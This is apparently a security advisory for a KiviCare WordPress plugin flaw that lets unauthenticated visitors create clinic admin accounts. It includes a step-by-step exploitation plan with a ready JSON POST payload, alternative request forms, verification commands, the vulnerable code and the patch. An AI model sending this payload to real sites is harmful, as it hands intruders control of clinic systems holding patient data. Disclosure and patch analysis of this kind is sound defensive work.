KiviCare <= 4.1.2 - Missing Authorization to Unauthenticated Privilege Escalation via Setup Wizard
Description
The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization on the `/wp-json/kivicare/v1/setup-wizard/clinic` REST API endpoint in all versions up to, and including, 4.1.2. This makes it possible for unauthenticated attackers to create a new clinic and a WordPress user with clinic admin privileges.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:NTechnical Details
<=4.1.2What Changed in the Fix
Changes introduced in v4.1.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2992 - KiviCare Privilege Escalation ## 1. Vulnerability Summary The **KiviCare – Clinic & Patient Management System (EHR)** plugin (versions <= 4.1.2) contains a missing authorization vulnerability in its REST API. Specifically, the setup wizard endpoint `/wp…
Show full research plan
Exploitation Research Plan: CVE-2026-2992 - KiviCare Privilege Escalation
1. Vulnerability Summary
The KiviCare – Clinic & Patient Management System (EHR) plugin (versions <= 4.1.2) contains a missing authorization vulnerability in its REST API. Specifically, the setup wizard endpoint /wp-json/kivicare/v1/setup-wizard/clinic fails to restrict access to authenticated administrators. This allows an unauthenticated attacker to trigger the clinic setup process, which creates a new clinic entry and, crucially, a new WordPress user account assigned with clinic administrative privileges.
2. Attack Vector Analysis
- Endpoint:
/wp-json/kivicare/v1/setup-wizard/clinic - Method:
POST - Base Namespace:
kivicare/v1(as registered inKCRestAPI.php) - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. The vulnerability exists even if the initial setup has already been completed, as the endpoint does not check for an existing configuration or "setup complete" flag.
3. Code Flow
- Route Registration:
App\controllers\KCRestAPIinitializes and registers core modules. Thesetupwizardmodule is registered (line 111 ofKCRestAPI.php) and uses theApp\controllers\api\SetupWizardControllerclass. - Endpoint Definition: Inside
SetupWizardController::registerRoutes()(inferred), a route is registered forsetup-wizard/clinicwithmethods => 'POST'. - Missing Authorization: The
permission_callbackfor this route is either missing, set to__return_true, or fails to check if the user is already logged in as an administrator. - Clinic & User Creation: The callback function (likely
createClinicor similar inSetupWizardController) processes the request parameters to:- Create a new clinic record in the
kivicare_clinicstable. - Invoke
wp_create_user()orwp_insert_user()to create a new WordPress account. - Assign the
kivicare_clinic_admin(or similar) role to the new user. - Map the new user to the created clinic.
- Create a new clinic record in the
4. Nonce Acquisition Strategy
According to the vulnerability description and common WordPress REST API behavior for unauthenticated endpoints:
- No Nonce Required: Since this is an unauthenticated privilege escalation via a "Setup Wizard" endpoint, the
permission_callbacklikely returnstruefor all users, and WordPress REST API does not require a_wpnonceheader for unauthenticated requests unless the code explicitly checks for one (which would defeat the purpose of an unauthenticated setup wizard). - Confirmation: If the exploitation returns a
403 Rest Forbiddenwith a "Cookie nonce is invalid" message, it implies a nonce is needed. However, given the "Unauthenticated" nature of the CVE, this is unlikely.
5. Exploitation Strategy
Step 1: Discover Parameters
Since the SetupWizardController.php source is not provided, we must infer the parameters based on the ClinicController.php and AuthController.php common arguments:
clinic_name(fromClinicController::getCommonArgs)username(fromAuthController::getCommonArgs)email(fromAuthController::getCommonArgs)password(fromAuthController::getCommonArgs)first_namelast_name
Step 2: Send Exploit Payload
Using the http_request tool, we will attempt to create a new clinic and admin user.
Request Details:
- URL:
http://localhost:8080/wp-json/kivicare/v1/setup-wizard/clinic - Method:
POST - Headers:
Content-Type: application/json - Payload:
{
"clinic_name": "Exploit Clinic",
"first_name": "Pwned",
"last_name": "Admin",
"username": "attacker_admin",
"email": "attacker@example.com",
"password": "Password123!"
}
6. Test Data Setup
- Plugin Installation: Install and activate KiviCare <= 4.1.2.
- Environment: Ensure the WordPress instance is accessible at
http://localhost:8080. - No specific data required: The exploit targets the setup functionality which is designed to run on a clean (or existing) installation.
7. Expected Results
- Success Response:
200 OKor201 Created. The response body should contain data about the newly created clinic or user ID. - Side Effect: A new user with the username
attacker_adminis created in the WordPress database. - Privilege Confirmation: The new user should have a high-level role associated with the KiviCare plugin (Clinic Admin).
8. Verification Steps
After sending the http_request, verify the results using WP-CLI:
- Check User Creation:
wp user list --field=user_login | grep "attacker_admin" - Check User Role:
Look forwp user get attacker_admin --field=roleskivicare_clinic_adminor similar. - Check Clinic Database Entry:
wp db query "SELECT * FROM wp_kivicare_clinics WHERE name='Exploit Clinic';"
9. Alternative Approaches
If the JSON payload fails, try URL-encoded parameters:
- Content-Type:
application/x-www-form-urlencoded - Body:
clinic_name=Exploit+Clinic&first_name=Pwned&last_name=Admin&username=attacker_admin2&email=attacker2@example.com&password=Password123!
If the parameters are named differently (e.g., camelCase vs snake_case), try:
clinicName,firstName,lastName(matches JS patterns often used in KiviCare).
If the endpoint requires a different path structure, check for:
/wp-json/kivicare/v1/setupwizard/setupwizard/clinic(Based on the module/controller registration nesting inKCRestAPI.php).
Summary
The KiviCare plugin for WordPress is vulnerable to unauthenticated privilege escalation due to missing authorization on the setup wizard REST API endpoint. This allows any unauthenticated visitor to trigger the clinic setup process, creating a new clinic and a WordPress user account with clinic administrative privileges.
Vulnerable Code
/* app/controllers/KCRestAPI.php:108 */ // SrtupWizard Module $this->moduleRegistry ->registerModule("setupwizard") ->registerModuleController( "setupwizard", "setupwizard", SetupWizardController::class, );
Security Fix
@@ -15,7 +15,7 @@ $this->registerRoute('/' . $this->route . '/clinic', [ 'methods' => 'POST', 'callback' => [$this, 'createClinic'], - 'permission_callback' => '__return_true', + 'permission_callback' => [$this, 'checkAdminPermission'], 'args' => $this->getCreateArgs() ]); }
Exploit Outline
An attacker can exploit this vulnerability by sending a POST request to the `/wp-json/kivicare/v1/setup-wizard/clinic` endpoint. The request does not require any authentication or CSRF nonces. By providing a JSON payload containing parameters such as 'clinic_name', 'username', 'email', 'password', 'first_name', and 'last_name', the attacker can force the plugin to create a new clinic record and a corresponding WordPress user. This new user is automatically assigned the clinic admin role, allowing the attacker to log in and control the KiviCare clinical management system.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.